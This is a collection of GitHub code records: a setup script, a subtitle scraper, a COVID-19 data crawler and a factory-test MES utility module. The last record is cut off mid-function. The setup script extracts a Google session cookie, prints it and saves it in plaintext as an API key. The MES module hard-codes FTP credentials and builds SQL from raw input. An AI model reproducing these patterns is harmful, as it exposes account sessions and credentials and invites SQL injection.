+{"seq_id":"30878849257","text":"extension_url = 'https://chrome.google.com/webstore/detail/copy-cookies/jcbpglbplpblnagieibnemmkiamekcdg'\nimport webbrowser\nwebbrowser.open(extension_url)\nfrom pymsgbox import alert\nalert(text='Please install the extension and click OK', title='Copy Cookies', button='OK')\nwebbrowser.open('https://bard.google.com')\nfrom pyautogui import hotkey\nfrom pyperclip import paste\nold = paste()\nhotkey('ctrl', 'shift', 'k')\nnew = paste()\nif old == new:\n    alert(text='It is not Google Chrome. So, please click the extension to copy the cookies.', title='Copy Cookies', button='OK')\n    new = paste()\n\nimport json\nnew = json.loads(new)\n# get __Secure-1PSID from new\ncookie_name = '__Secure-1PSID'\nfor i in new:\n    if i['name']==cookie_name:\n        key = i['value']\n        print(key)\n        # _BARD_API_KEY\n        import os\n        os.system('setx _BARD_API_KEY ' + key)\n        # write to .env file\n        with open('.env', 'w') as f:\n            f.write('_BARD_API_KEY=' + key)\n        break\nelse:\n    print(cookie_name + ' not found')","repo_name":"SmartManoj/AI-Anywhere","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1034,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"8124572432","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Fri Apr 28 11:40:24 2017\r\n\r\n@author: Aoshuo-wj\r\n\"\"\"\r\n\r\nimport scrapy\r\nfrom scrapy.selector import Selector\r\nfrom scrapy.http import Request\r\nfrom zimu01.items import Zimu01Item\r\n\r\nclass zimuSpider(scrapy.Spider):\r\n    name = \"zimu\"\r\n    allowed_domains = [\"zimuku.net\"]\r\n    start_urls = [\"http://www.zimuku.net/search?q=&t=onlyst&ad=1&p=1\"]\r\n    \r\n    #start_urls = [\"http://www.zimuku.net/shooter/57265.html\"]\r\n    \r\n    #得到能够搜索的总页数，并且生成这些网址。\r\n    def parse(self,response):\r\n        selector=Selector(response)\r\n        nextUrl=selector.xpath(\"//a[@class='end']/text()\").extract()[0]\r\n        print(nextUrl)\r\n        for i in range(1,int(nextUrl)+1):\r\n            yield Request(url=\"http://www.zimuku.net/search?q=&t=onlyst&ad=1&p=%s\" % i,callback=self.parse_info)\r\n    #进入每一页，得到每一项的url。\r\n    def parse_info(self,response):\r\n        #print(response.url)\r\n        selector=Selector(response)\r\n        divs=selector.xpath(\"//div[@class='box clearfix']/div[@class='persub clearfix']\")\r\n        for div in divs:\r\n            url=div.xpath(\"h1/a/@href\").extract()\r\n            geshi=div.xpath(\"p[1]/span[2]/text()\").extract()\r\n            if(url and geshi):\r\n                geshi=geshi[0]\r\n                if((\"Subrip\" in geshi) or ('SSA' in geshi) or (\"ASS\" in geshi) or (\"SRT\" in geshi)):\r\n                    yield Request(url=\"http://www.zimuku.net%s\" % url[0],callback=self.parse_fileUrl)\r\n    #进入每一项，得到下载页的url。\r\n    def parse_fileUrl(self,response):\r\n        #print(response.url)\r\n        selector=Selector(response)\r\n        downloadUrl=selector.xpath(\"//li[@class='li dlsub']/div/a[1]/@href\").extract()\r\n        if downloadUrl:\r\n            yield Request(url=downloadUrl[0],callback=self.parse_file)\r\n    #得到下载数据。\r\n    def parse_file(self,response):\r\n        body=response.body\r\n        items=Zimu01Item()\r\n        items['body']=body\r\n        return items\r\n            \r\n            \r\n                \r\n    '''\r\n    #http://www.zimuku.net/shooter/57265.html test\r\n    def parse(self,response):\r\n        print(\"******%s******\" % response.url)\r\n        selector=Selector(response)\r\n        downloadUrl=selector.xpath(\"//li[@class='li dlsub']/div/a[1]/@href\").extract()[0]\r\n        yield Request(url=downloadUrl,callback=self.parse_download,dont_filter=True)\r\n    \r\n    def parse_download(self,response):\r\n        body=response.body\r\n        with open(\"results/test1\",'wb') as f:\r\n            f.write(body)\r\n    '''","repo_name":"wj573510848/OA_System","sub_path":"zimu_corpus/zimuSpider/zimu01/spider/zimuSpider01.py","file_name":"zimuSpider01.py","file_ext":"py","file_size_in_byte":2565,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"22038748160","text":"import os\nimport re\nimport wget\nimport time\nimport requests\nimport pandas as pd\nfrom bs4 import BeautifulSoup\nfrom fake_useragent import UserAgent\n\n\narea_map = {\n    \"台北市\": \"Taipei City\",\n    \"基隆市\": \"Keelung City\",\n    \"新北市\": \"New Taipei City\",\n    \"宜蘭縣\": \"Yilan County\",\n    \"金門縣\": \"Kinmen County\",\n    \"連江縣\": \"Lienchiang County\",\n    \"新竹市\": \"Hsinchu City\",\n    \"桃園市\": \"Taoyuan City\",\n    \"新竹縣\": \"Hsinchu County\",\n    \"苗栗縣\": \"Miaoli County\",\n    \"台中市\": \"Taichung City\",\n    \"彰化縣\": \"Chuanghua County\",\n    \"南投縣\": \"Nantou County\",\n    \"台南市\": \"Tainan City\",\n    \"嘉義市\": \"Chiayi City\",\n    \"雲林縣\": \"Yunlin County\",\n    \"嘉義縣\": \"Chiayi County\",\n    \"高雄市\": \"Kaohsiung City\",\n    \"屏東縣\": \"Pingtung County\",\n    \"澎湖縣\": \"Penghu County\",\n    \"花蓮縣\": \"Huanlien County\",\n    \"台東縣\": \"Taitung County\",\n    \"北區合計\": \"North Zone Count\",\n    \"中區合計\": \"Center Zone Count\",\n    \"南區合計\": \"South Zone Count\",\n    \"東區合計\": \"East Zone Count\",\n    \"高屏區合計\": \"Kaoshiung Pingtung Zone Count\",\n    \"台北區合計\": \"Taipei Zone Count\",\n    \"合計\": \"Total Count\",\n}\n\n\ndef web_crawling(patients_filename, ranges_filename):\n    response = requests.get(\n        url='https://nidss.cdc.gov.tw/nndss/DiseaseMap?id=19CoV',\n        headers={ 'user-agent': UserAgent().random }\n    )\n    soup = BeautifulSoup(response.text, 'html.parser')\n\n    url = 'https://nidss.cdc.gov.tw' + soup.find('a', id='ExcelByArea')['href']\n    store_patients_datas(url, patients_filename)\n    records = parse_patients_datas(patients_filename)\n\n    regex = re.compile(r'\"dataClasses\".*\"regionName')\n    target = str(soup.find(\"div\", id='appendContainer'))\n    ranges = eval(str(regex.search(target).group(0))[14:-12])\n    ranges = read_ranges_datas(ranges)\n    store_ranges_datas(ranges, ranges_filename)\n    ranges = parse_ranges_datas(ranges_filename)\n\n    return records, ranges\n\n\ndef parse_patients_datas(filename):\n    records = dict()\n\n    datas = pd.read_excel(filename, engine='odf', skiprows=8, header=None)\n    datas.drop(datas.tail(1).index, inplace=True)\n\n    for i in range(len(datas)):\n        area, number = datas[0][i], datas[1][i]\n        records[area_map[area]] = number\n\n    return records\n\n\ndef read_ranges_datas(ranges):\n    df = pd.DataFrame()\n    df['from'] = [dict(value)['from'] for value in ranges]\n    df['to'] = [dict(value)['to'] for value in ranges]\n    return df\n\n\ndef parse_ranges_datas(filename):\n    ranges = dict()\n    datas = pd.read_csv(filename, sep=',', encoding='utf-8')\n\n    for i in range(len(datas)):\n        ranges[i + 1] = {\"from\": int(datas['from'][i]), \"to\": int(datas['to'][i])}\n\n    return ranges\n\n\ndef store_patients_datas(url, filename):\n    _ = wget.download(url, filename)\n\n\ndef store_ranges_datas(ranges, filename):\n    ranges.to_csv(filename, sep=',', encoding='utf-8')\n\n\ndef get_records_and_ranges():\n    patients_filename, ranges_filename = 'covid19.ods', 'ranges.csv'\n\n    if os.path.exists(patients_filename) == False or os.path.exists(ranges_filename) == False:\n        records, ranges = web_crawling(patients_filename, ranges_filename)\n        return records, ranges\n\n    current_time = float(time.time())\n    modification_time = float(os.path.getmtime(patients_filename))\n    period_time = current_time - modification_time\n    \n    if period_time >= 7200.0:\n        os.remove(ranges_filename)\n        os.remove(patients_filename)\n        records, ranges = web_crawling(patients_filename, ranges_filename)\n        return records, ranges\n    \n    ranges = parse_ranges_datas(ranges_filename)\n    records = parse_patients_datas(patients_filename)\n\n    return records, ranges\n","repo_name":"DW1209/Taiwan-Covid-19-Map-Website","sub_path":"website/crawler.py","file_name":"crawler.py","file_ext":"py","file_size_in_byte":3746,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"40116997899","text":"#coding:utf-8\nimport wx\nimport wx.adv\nimport ftputil.error\nimport re\nimport io\nimport time\nimport os\nimport httplib\nimport threading\nimport wx.lib.dialogs\nimport traceback\nimport ftfy\nimport ftputil\nimport wx.lib.agw.pybusyinfo as PBI\nfrom lxml import etree\nimport posixpath\nimport uuid\nimport pandas as pd\nimport wx.lib.newevent\nimport subprocess\nimport collections\nimport psutil\nimport wx.lib.agw.genericmessagedialog as GMD\nfrom config.config import Config, DeviceState\nfrom communicate.communicate import communicate_factory\nfrom oracle import cx_Oracle\n\ndef mes_value(value):\n    mes_value =  '' if value == None else  ftfy.fix_text( unicode(value) )\n    return mes_value\n\ndef errorencode(str):\n    return unicode(str, encoding='gbk', errors='ignore')\n\ndef inttomac(mac_int=0):\n    mac_str = '{:0>12X}'.format(int(mac_int))\n    return  ':'.join([mac_str[i:i+2] for i in xrange(0,12,2)] )\n\n#调整窗体位置\ndef adjustpos(win, dlg):\n    if Config.autopos:\n        posx, posy = win.GetScreenPosition()\n        adjust_pos = (posx + Config.posx, posy + Config.posy)\n        dlg.SetPosition(adjust_pos)\n    else:\n        dlg.CentreOnParent()\n\ndef macAddrCreator(mac, count=100, prefix='MAC'):\n    mac_str = mac.replace(':', '')\n    mac_num = int(mac_str, 16)\n    mac_dict = collections.OrderedDict()\n    for i in range(count):\n        mac_str = hex(mac_num+i).upper().strip('0X').strip('L')\n        mac_str = '{:0>12}'.format(mac_str)\n        mac3_str = mac_str[0:4] + '.' + mac_str[4:8] + '.' + mac_str[8:]\n        mac_str = ':'.join([ mac_str[j:j+2] for j in range(0, 12, 2)])\n        mac_dict['@{}{}'.format(prefix, i)] = mac_str\n        mac_dict['@3{}{}'.format(prefix, i)] = mac3_str\n    return mac_dict\n\ndef convert_value(value=\"\", flag=[]):\n    def convert(value, flag):\n        if 'upper' in flag:\n            if value != None:\n                value = value.upper()\n\n        if 'lower' in flag:\n            if value != None:\n                value = value.lower()\n\n        if 'lstrip' in flag:\n            if value != None:\n                value = value.lstrip()\n\n        if 'rstrip' in flag:\n            if value != None:\n                value = value.rstrip()\n\n        if 'strip' in flag:\n            if value != None:\n                value = value.strip()\n\n        if \"date\" in flag:\n            t = pd.to_datetime(value, errors='ignore')\n            if t.__class__.__name__ == 'Timestamp':\n                value = t.strftime('%Y%m%d')\n\n        if 'length' in flag:\n            if value != None:\n                value = len(value)\n        return value\n\n    for f in flag:\n        value = convert(value, f.strip() )\n    return value\n\n#parse sequence xml file\nclass ParseSeqXML(object):\n    def __init__(self, filepath):\n        self.tree = etree.parse(filepath, Config.parser_without_comments)\n        self.root = self.tree.getroot()\n        self.file = filepath\n        self.dir = posixpath.dirname(self.file)\n        self._run = 'run'\n        self.__options_path = './options'\n        self.__options2_path = './options2'\n        self.__testtree_path = './testtree'\n        self.__testitem_path = './testitem'\n        self.__attribute_path = './attribute'\n        self.__assignversion_path = './assignversion'\n        self.__workstage_path= './workstage'\n\n    def get_workstage_element(self):\n        return self.root.find(self.__workstage_path)\n\n    def get_options_element(self):\n        return self.root.find(self.__options_path)\n\n    def get_options2_element(self):\n        return self.root.find(self.__options2_path)\n\n    def get_testtree_element(self):\n        return self.root.find(self.__testtree_path)\n\n    def get_testitem_element(self):\n        return self.root.find(self.__testitem_path)\n\n    def get_attribute_element(self):\n        return self.root.find(self.__attribute_path)\n\n    def get_assignversion_element(self):\n        return self.root.find(self.__assignversion_path)\n\n    def get_run_sequence(self):\n        seq = []\n        for tree in self.get_testtree_element().getchildren():\n            for item in self.get_testitem_element().getchildren():\n                if tree.tag == item.tag:\n                    seq.append((tree, item))\n        return seq\n\nclass AppSettingReader(object):\n    __root = None\n    __tree = None\n\n    def __init__(self):\n        self.path = Config.appfile\n\n    def __enter__(self):\n        if self.__class__.__root is None:\n            self.__class__.__tree = etree.parse(self.path, Config.parser_without_comments)\n            self.__class__.__root = self.__tree.getroot()\n        return self\n\n    def __exit__(self, exc_type, exc_val, exc_tb): pass\n\n    def get(self, tag, key):\n        node = self.__root.find(\".//*[@name='{}']\".format(tag))\n        return node.attrib.get(key, None)\n\n    def set(self, tag, attr):\n        node = self.__root.find(\".//*[@name='{}']\".format(tag))\n        node.attrib.update(attr)\n        self.__tree.write(self.path, encoding='utf-8', pretty_print=True, xml_declaration=True)\n\ndef update_config_file(ftp_config_base_dir=u\"工艺工作文件夹/工艺资料/AutoTest-Config\", local_setting_file=\"./setting/config.xml\" ):\n    #更新提示信息\n    wx.GetApp().Yield()\n    config_file = None\n    msg, ret_status = '', True\n    busy = PBI.PyBusyInfo(u'正在更新配置', None, u'更新')\n    basedir = ftp_config_base_dir\n    rootElement = etree.Element('root')\n    ftp = ftputil.FTPHost(\"192.168.60.70\", \"szgy-chenjie\", \"szgy-chenjie\")\n    ftp.chdir(basedir.encode(\"gbk\"))\n    for dirpath, dirnames, filenames in ftp.walk(\".\"):\n        try:\n            dirpath_seg = dirpath.split(\"/\")\n            dirpath_seg_len = len(dirpath_seg)\n            if dirpath_seg_len == 2 and 'config.xml' in filenames:\n                config_file = posixpath.join(dirpath, 'config.xml')\n                config_file_handle = ftp.open(config_file, encoding=\"utf-8\")\n                tree = etree.parse(config_file_handle, Config.parser_without_comments)\n                comment = etree.Comment(dirpath_seg[-1])\n                rootElement.append(comment)\n                for item in tree.xpath('./li'):\n                    if len(item) == 0:\n                        xml_path = item.get('xml', '')\n                        item.attrib['xml'] = xml_path[:2] + dirpath_seg[-1] + '/' + xml_path[2:]\n                        etree.SubElement(rootElement, item.tag, item.attrib)\n                    else:\n                        for subitem in item:\n                            xml_path = subitem.get('xml', '')\n                            subitem.attrib['xml'] = xml_path[:2] + dirpath_seg[-1] + '/' + xml_path[2:]\n                        rootElement.append(item)\n        except Exception as e:\n            msg += '文件：{} 错误：{}\\n'.format(config_file, e.message)\n            ret_status = False\n            continue\n\n    if ret_status:\n        with open(local_setting_file, mode=\"w\",) as f:\n            f.write(etree.tostring(rootElement, xml_declaration=True, pretty_print=True, encoding=\"utf-8\"))\n\n        ftp.upload(local_setting_file, \"./config.xml\")\n        ftp.close()\n\n    del busy\n\n    return msg, ret_status\n\ndef validate_workjob():\n    mes_attr = Config.mes_attr\n    sql_workjob = \"select distinct workjob_code from DMSNEW.work_workjob where workjob_code='{}' \".format(mes_attr['extern_WJTableName'])\n    sql_linecode = \"select distinct linecode,line from DMSNEW.workproduce where linecode='{}' \".format(mes_attr['extern_SubLineCode'])\n    sql_stationcode = \"select distinct code, name from DMSNEW.qa_mantaince_type where code='{}' \".format(mes_attr['extern_StationCode'])\n\n    value_workjob = Config.mes_db.fetchone(sql_workjob)\n    value_linecode = Config.mes_db.fetchone(sql_linecode)\n    value_stationcode = Config.mes_db.fetchone(sql_stationcode)\n\n    if value_workjob :\n        flag_workjob = True\n        #特殊评审说明\n        sql_review = \"select segment33 from dmsnew.work_workjob  where workjob_code='{}' \".format(mes_attr['extern_WJTableName'])\n        review_sql_value = Config.mes_db.fetchone(sql_review)\n        mes_attr['workjob_review'] = review_sql_value[0] if review_sql_value[0] else str(uuid.uuid4())\n        tipmsg = u'1.工单号：{}正确\\n'.format(mes_attr['extern_WJTableName'])\n    else:\n        flag_workjob = False\n        tipmsg = u'1.工单号：{}.不存在\\n'.format(mes_attr['extern_WJTableName'])\n\n    if value_linecode:\n        flag_linecode = True\n        tipmsg += u'2.线体：{}正确\\n'.format(mes_attr['extern_SubLineCode'])\n    else:\n        flag_linecode = False\n        tipmsg +=  u'2.线体：{}.不存在\\n'.format( mes_attr['extern_SubLineCode'])\n\n    if value_stationcode:\n        flag_stationcode = True\n        mes_attr['extern_StationName'] = value_stationcode[1]\n        tipmsg += u'3.工序：{}正确\\n'.format(mes_attr['extern_StationCode'])\n    else:\n        flag_stationcode = False\n        tipmsg += u'3.工序：{}.不存在\\n'.format( mes_attr['extern_StationCode'])\n\n    return flag_workjob, flag_linecode, flag_stationcode, tipmsg\n\n\ndef get_mes_attr():\n    mes_attr = Config.mes_attr\n    extern_WJTableName = mes_attr['extern_WJTableName']\n    extern_StationCode = mes_attr['extern_StationCode']\n\n    sql = \"select serial_number,sub_attempter_code,attempter_code,order_code,class,\" + \\\n          \" to_char(attemper_begin_date,'yyyy-mm-dd hh24:mi:ss') attemper_begin_date,to_char(attemper_end_date,'yyyy-mm-dd hh24:mi:ss') attemper_end_date,\" + \\\n          \"worksubsequence_code,workshop,work_code,line_code,worksations,persons, number1,number2,ympk,yinum,oddscan,work_code2,testposition,\" + \\\n          \"decode(bug_num,0,'否',1,'是','是') bug_num,TOTALSENDNUM from DMSNEW.mtl_sub_attemper where  state in('已调度' , '已开工') \"\n    sql += \" and  order_code='{}' and TESTPOSITION in ( select name from DMSNEW.qa_mantaince_type  where code='{}' )\".format(extern_WJTableName, extern_StationCode)\n\n    sql_value = Config.mes_db.fetchall(sql)\n\n    if len(sql_value) == 0:\n        return False, u'此调度单为空'\n\n    mes_attr['extern_SerialNumber'] = mes_value(sql_value[0][0])\n    mes_attr['extern_SubAttemperCode'] = mes_value(sql_value[0][1])\n    mes_attr['extern_AttempterCode'] = mes_value(sql_value[0][2])\n    mes_attr['extern_strympk'] = mes_value(sql_value[0][15])\n    mes_attr['extern_Num1'] = mes_value(sql_value[0][16])\n    mes_attr['extern_SubTestPosition'] = mes_value(sql_value[0][19])\n    mes_attr['extern_strWorkCode2'] = mes_value(sql_value[0][18])\n    # mes_attr['op_workers'] = mes_value(sql_value[0][21])\n    mes_attr['extern_strmpk'] = '0'\n\n    sql = \"select item_code,item_version,item_type ,item_memo, lotno, segment17,segment11,mytype,item_num  from dmsnew.work_workjob where workjob_code='{}'\".format(extern_WJTableName)\n    sql_value = Config.mes_db.fetchall(sql)\n    # 产品编码\n    mes_attr['extern_stritemcode'] = mes_attr['extern_productcode'] = mes_value(sql_value[0][0])\n    # 产品版本\n    mes_attr['extern_stritemversion'] = mes_attr['extern_productversion'] = mes_value(sql_value[0][1])\n    # 规格型号\n    mes_attr['extern_stritemtype'] = mes_attr['extern_producttype'] = mes_value(sql_value[0][2])\n    # 产品名称\n    mes_attr['extern_stritemmemo'] = mes_attr['extern_productname'] = mes_value(sql_value[0][3])\n    # 计划模式\n    mes_attr['extern_plan_mode'] = mes_value(sql_value[0][6])\n    # 客户产品型号\n    mes_attr['extern_mytype'] = mes_value(sql_value[0][7])\n    mes_attr['extern_lotno'] = mes_value(sql_value[0][4])\n    mes_attr['extern_bomcode'] = mes_value(sql_value[0][5])\n    #item_num任务单 SN数量\n    mes_attr['extern_Num1'] = mes_attr['extern_item_num'] = mes_value(sql_value[0][8])\n\n    extern_SubLineCode = mes_attr['extern_SubLineCode']\n    sql = \"select line,workshopname,biglinename from dmsnew.workproduce where linecode='{}' \".format(extern_SubLineCode)\n    sql_value = Config.mes_db.fetchall(sql)\n    mes_attr['extern_SubLine'] = mes_value(sql_value[0][0])\n    mes_attr['extern_workshopname'] = mes_value(sql_value[0][1])\n    mes_attr['extern_biglinename'] = mes_value(sql_value[0][2])\n\n    #获取MES变量\n    mes_attr['@MES_PRODUCTTYPE'] = mes_attr['extern_stritemtype']\n    mes_attr['@MES_LOTNO'] = mes_attr['extern_lotno']\n    mes_attr['@MES_CUSTOMER_PRODUCTNAME'] = mes_attr['extern_mytype']\n    mes_attr['@MES_PRODUCTNAME'] = mes_attr['extern_stritemmemo']\n    return True, ''\n\n#记录MES查询记录\ndef record_mes_query():\n    try:\n        mes_attr = Config.mes_attr\n        workjob_code = mes_attr['extern_WJTableName']\n        item_code = mes_attr['extern_productcode']\n        item_type = mes_attr['extern_producttype']\n        line_code = mes_attr['extern_SubLine']\n        testposition = mes_attr['extern_SubTestPosition']\n        item_num = mes_attr['extern_item_num']\n        describe = mes_attr['extern_SubAttemperCode']\n        item_version = mes_attr['extern_productversion']\n        item_memo = mes_attr['extern_stritemmemo']\n        workshop = mes_attr['extern_workshopname']\n        daline = mes_attr['extern_biglinename']\n        segment1 = '8'\n        segemnt2 = ''\n        segment3 = Config.wn + Config.wnname + '[AutoTest]'\n        sql = \"insert into dmsnew.todayworkjob(workjob_code,item_code,item_type,line_code,testposition,item_num, \" \\\n              \"describe,item_version,item_memo,WORKSHOP,DALINE_CODE,SEGMENT1,SEGMENT2,SEGMENT3) \" \\\n              \"values('{0}', '{1}', '{2}', '{3}', '{4}', '{5}', '{6}', '{7}', '{8}', '{9}', '{10}', '{11}', '{12}', '{13}')\".format(\n            workjob_code, item_code, item_type, line_code, testposition, item_num, describe, item_version, item_memo,\n            workshop, daline, segment1, segemnt2, segment3)\n\n        Config.mes_db.execute(sql)\n        Config.mes_db.commit()\n    except Exception as e:\n        Config.logger.error(errorencode(traceback.format_exc()))\n        Config.mes_db.rollback()\n\ndef getSNValue(window):\n    # sn verify\n    sn_value = None\n    devwin = Config.getdevwin(window)\n    sn_dlg = wx.TextEntryDialog(devwin, '请输入产品SN', '{}:SN'.format(window.GetName()))\n    adjustpos(devwin, sn_dlg)\n    while True:\n        if sn_dlg.ShowModal() == wx.ID_OK:\n            sn_value = sn_dlg.GetValue().strip().upper()\n            if re.match(r'^[A-Z0-9-_]+', sn_value, re.I):\n                sn_dlg.Destroy()\n                return True, sn_value\n            else:\n                for childwin in sn_dlg.GetChildren():\n                    if childwin.GetClassName() == 'wxTextCtrl':\n                        childwin.SelectAll()\n        else:\n            sn_dlg.Destroy()\n            return False, sn_value\n\ndef getMacValue(window):\n    # mac address verify\n    mac_value = None\n    devwin = Config.getdevwin(window)\n    mac_dlg = wx.TextEntryDialog(devwin, '请输入产品MAC地址', '{}:MAC Address'.format(window.GetName()))\n    adjustpos(devwin, mac_dlg)\n    while True:\n        if mac_dlg.ShowModal() == wx.ID_OK:\n            mac_value = mac_dlg.GetValue().strip().upper()\n            if re.match(r'^([A-F\\d]{2}:){5}([A-F\\d]{2})$', mac_value, re.I):\n                mac_dlg.Destroy()\n                return True, mac_value\n            else:\n                for childwin in mac_dlg.GetChildren():\n                    if childwin.GetClassName() == 'wxStaticText':\n                        childwin.SetLabelText('产品MAC地址输入有误，请重新输入')\n                    if childwin.GetClassName() == 'wxTextCtrl':\n                        childwin.SelectAll()\n        else:\n            mac_dlg.Destroy()\n            return  False, mac_value\n\ndef getWorkstage(window, xml):\n    msg = ''\n    candidate_value_list = []\n    workstage_ele = xml.root.find('.//workstage')\n    if workstage_ele is None: return True, None\n    for child in workstage_ele.iterchildren():\n        msg += child.get('name', '') + '\\n'\n        candidate_value_list.append(child.get('value', 'unchoosed'))\n    devwin = Config.getdevwin(window)\n    workstage_dlg = wx.TextEntryDialog(devwin, '{}'.format(msg.rstrip()), '{}:工序选择'.format(window.GetName()))\n    adjustpos(devwin, workstage_dlg)\n    while True:\n        if workstage_dlg.ShowModal() == wx.ID_OK:\n            workstage_value = workstage_dlg.GetValue().strip()\n            if workstage_value in candidate_value_list:\n                workstage_dlg.Destroy()\n                return True, workstage_value\n            else:\n                for childwin in workstage_dlg.GetChildren():\n                    if childwin.GetClassName() == 'wxStaticText':\n                        workstage_dlg.SetTitle('工序选择错误' )\n                    if childwin.GetClassName() == 'wxTextCtrl':\n                        childwin.SelectAll()\n        else:\n            workstage_dlg.Destroy()\n            return False, None\n\n#查询可用SN记录\ndef get_available_sn():\n    extern_WJTableName =  Config.mes_attr['extern_WJTableName']\n    extern_SerialNumber = Config.mes_attr['extern_SerialNumber']\n    sql = \"select barcode from ((select barcode from  dmsnew.{worktable}  where scan_position='L' and\" \\\n          \" qulity_flag ='no' and scan_type='正常生产' and segment13 ='no'  and subid =({extern_SerialNumber}-1)) minus \" \\\n          \"(select barcode from dmsnew.{worktable} where scan_position='L' and  qulity_flag ='no' and scan_type ='正常生产' \" \\\n          \"and segment13 ='no' and subid={extern_SerialNumber} ))\".format(worktable=extern_WJTableName, extern_SerialNumber=extern_SerialNumber)\n\n    sql_value = Config.mes_db.fetchall(sql)\n    available_sn_list = []\n    for available_sn in sql_value:\n        available_sn_list.append(available_sn[0])\n\n    return available_sn_list\n\ndef getWorkstageMsgBox(window, item):\n    msg, caption = item.get('msg', ''), item.get('caption', '')\n    initial_value, type = item.get('initial_value', ''),  item.get('type', 'msgbox')\n    name, show = item.get('name', '@WORKSTAGE_MSGBOX'), item.get('show', 'True')\n    flag = item.get('flag', '').split('|')\n    if show not in \"True\":\n        return True, {name: initial_value}\n\n    devwin = Config.getdevwin(window)\n    dlg = wx.TextEntryDialog(devwin, msg, '{}:{}'.format(window.GetName(), caption), initial_value, style=wx.OK|wx.CANCEL|wx.CENTER)\n    adjustpos(devwin, dlg)\n    if type in 'msgbox':\n        while True:\n            if dlg.ShowModal() == wx.ID_OK and dlg.GetValue() != '':\n                value = convert_value(dlg.GetValue(), flag)\n                dlg.Destroy()\n                if 'mac' in flag:\n                    return True, macAddrCreator(value, prefix=name.replace('@', ''))\n                return True, {name:value}\n            else:\n                dlg.Destroy()\n                return False, {name: ''}\n\ndef getMessageDialog(window, msg, caption, style, data):\n    devwin = Config.getdevwin(window)\n    topwin = wx.Window.FindWindowByName('MainFrame')\n    win = devwin if Config.autopos else topwin\n    dlg = GMD.GenericMessageDialog(win, msg, caption, style)\n    okcancel_label = data.get('okcancel', '')\n    adjustpos(win, dlg)\n    if okcancel_label:\n        dlg.SetOKCancelLabels(okcancel_label[0], okcancel_label[1])\n\n    if dlg.ShowModal() == wx.ID_OK:\n        dlg.Destroy()\n        return True\n    else:\n        dlg.Destroy()\n        return False\n\n\ndef getProductXML(ftp_base_dir_anonymous=\"ftp://192.168.60.70/AutoTest-Config/\", subproduct=\"\", sn=''):\n    config_xml_path = posixpath.join(ftp_base_dir_anonymous, \"config.xml\")\n    comfig_tree = etree.parse(config_xml_path, Config.parser_without_comments)\n    config_xml_root = comfig_tree.getroot()\n    for item in config_xml_root.getchildren():\n        sn_stigma = item.get('bom', '')\n        if sn_stigma.upper() == sn[:len(sn_stigma)].upper():\n            if len(item) == 0:\n                xml_path_list = item.get('xml', '').split('/')[1:]\n                xml_path = posixpath.join(ftp_base_dir_anonymous, *xml_path_list)\n                product_name = item.get('product')\n                return ParseSeqXML(xml_path), product_name\n            else:\n                default_value = review_value = None\n                for subitem in item:\n                    if subitem.get('review', str(uuid.uuid4()) ) in subproduct:\n                        xml_path_list = subitem.get('xml', '').split('/')[1:]\n                        xml_path = posixpath.join(ftp_base_dir_anonymous, *xml_path_list)\n                        product_name = subitem.get('product', '')\n                        review_value = ParseSeqXML(xml_path), product_name\n                        break\n                    elif 'default' in subitem.get('review', uuid.uuid4()):\n                        xml_path_list = subitem.get('xml', '').split('/')[1:]\n                        xml_path = posixpath.join(ftp_base_dir_anonymous, *xml_path_list)\n                        product_name = subitem.get('product', '')\n                        default_value = ParseSeqXML(xml_path), product_name\n\n                if review_value is not None:\n                    return  review_value\n                elif default_value is not None:\n                    return  default_value\n                else:\n                    return None, None\n    return None, None\n\ndef get_bind_info_by_barcode(sn_value):\n    #(103002027500S17C28S0010D, C8:50:E9:6E:40:86, C8:50:E9:6E:40:87,  客户SN)\n    extern_WJTableName = Config.mes_attr['extern_WJTableName']\n    sql = \"select distinct barcode, macma, macma2, waima from dmsnew.{} where macma is not null and barcode = '{}' \".format(extern_WJTableName, sn_value)\n    sql_value = Config.mes_db.fetchone(sql)\n    return sql_value\n\ndef get_customer_sn_value(bind_info):\n    if bind_info is not None:\n        if bind_info[3] is not None:\n            customer_sn_value = bind_info[3]\n        else:\n            customer_sn_value = 'NOT FOUND'\n    else:\n        customer_sn_value = 'NOT FOUND'\n\n    return customer_sn_value\n\n#find substr in s, and return it's position\ndef find_pos(sub, s, slice):\n    sub_count = slice.count(sub)\n    if sub_count == 0: return [(0, 0)]\n    pos_list, s_length = [], len(s)\n\n    start_pos_list, start_pos = [], 0\n    slice_count = s.count(slice)\n    for i in range(slice_count):\n        start_pos =  s.find(slice, start_pos, s_length)\n        start_pos_list.append(start_pos)\n        start_pos += len(slice)\n\n    for start_pos in start_pos_list:\n        for i in range(sub_count):\n            start_pos = s.find(sub, start_pos, s_length)\n            end_pos = start_pos + len(sub)\n            pos_list.append((start_pos, end_pos))\n            start_pos = end_pos\n    return  pos_list\n\ndef assignMesAttrBySN(sn, store={} ):\n    try:\n        MES_ATTR = Config.mes_attr\n        strBarCode = store['extern_SN'] = sn\n        extern_WJTableName = MES_ATTR['extern_WJTableName']\n        WJTableName = 'DMSNEW.' + extern_WJTableName\n        extern_AttempterCode = MES_ATTR['extern_AttempterCode']\n        sql = \"select repair, repair1, subid, qulity_flag, testposition, scan_type,scan_position  from \" + \\\n              WJTableName + \" where scan_time=(select max(scan_time) from \" + \\\n              WJTableName + \" where  barcode='\" + strBarCode + \"') and barcode='\" + \\\n              strBarCode + \"' order by scan_position desc,scan_type desc  ,subid desc\"\n\n        sql_value = Config.mes_db.fetchall(sql)\n    except KeyError:\n        Config.logger.error(errorencode(traceback.format_exc()))\n        return False, '工单为输入'\n    except cx_Oracle.DatabaseError as e:\n        Config.logger.error(errorencode(traceback.format_exc()))\n        return False, '工单号不存在'\n\n    if len(sql_value) != 0:\n        store['extern_QualityFlag'] = mes_value(sql_value[0][3])\n        store['extern_SubID'] = mes_value( sql_value[0][2])\n        store['extern_ScanType'] = mes_value(sql_value[0][5])\n        store['extern_repair'] = mes_value( sql_value[0][0])\n        store['extern_repair1'] = mes_value(sql_value[0][1])\n        store['extern_sn_testposition'] = mes_value(sql_value[0][4])\n    else:\n        store['extern_QualityFlag'] = 'no'\n        store['extern_SubID'] = 0\n        store['extern_ScanType'] = u'正常生产'\n        store['extern_repair'] = u'未维修'\n        store['extern_sn_testposition'] = u'未投产'\n\n    